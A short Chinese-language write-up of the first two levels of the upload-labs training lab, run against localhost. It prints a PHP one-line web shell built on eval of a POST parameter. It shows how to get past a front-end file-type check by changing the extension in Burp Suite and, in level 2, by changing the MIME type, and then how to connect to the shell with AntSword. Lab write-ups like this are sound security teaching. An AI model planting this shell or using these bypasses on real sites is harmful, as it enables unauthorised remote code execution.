目录
第一关
思路:
1、上传一个php文件
2、查看源码
3、查看文件上传地址
4、BP抓包,修改文件后缀名
5、使用蚁剑连接
第二关
1、这一关也可以跟第一关一样的方法进行绕过
2、上传一个一句话木马文件
第一关
原理:
思路:
1、上传一个php文件
<?php
phpinfo();
@eval($_POST['cmd']); #一句话木马
?>
结果上传失败,并要求我们上传的文件是图片格式的
2、查看源码
发现在前端的代码作了限制,使用checkFile()来检查文件格式,我们可以使用BP抓包,修改文件的后缀名,进行上传
3、查看文件上传地址
先正常上传一个图片
右键查看图像信息,发现上传文件的保存路径
4、BP抓包,修改文件后缀名
将一句话木马文件后缀改成jpg,然后放包上传
上传成功
访问上传的地址
http://127.0.0.1:90/upload-labs-master/upload/flag.php
代码正常执行
5、使用蚁剑连接
连接成功,成功进入主机
第二关
原理:
思路:
1、这一关也可以跟第一关一样的方法进行绕过
下面演示另外一种方法,修改MIME类型
2、上传一个一句话木马文件
上传成功
3、访问上传地址
http://127.0.0.1:90/upload-labs-master/upload/flag.php
php代码正常执行,说明一句话木马也可以执行,用蚁剑连接可以参考上面
这篇文章就先写到这里了,哪里不足欢迎批评指正!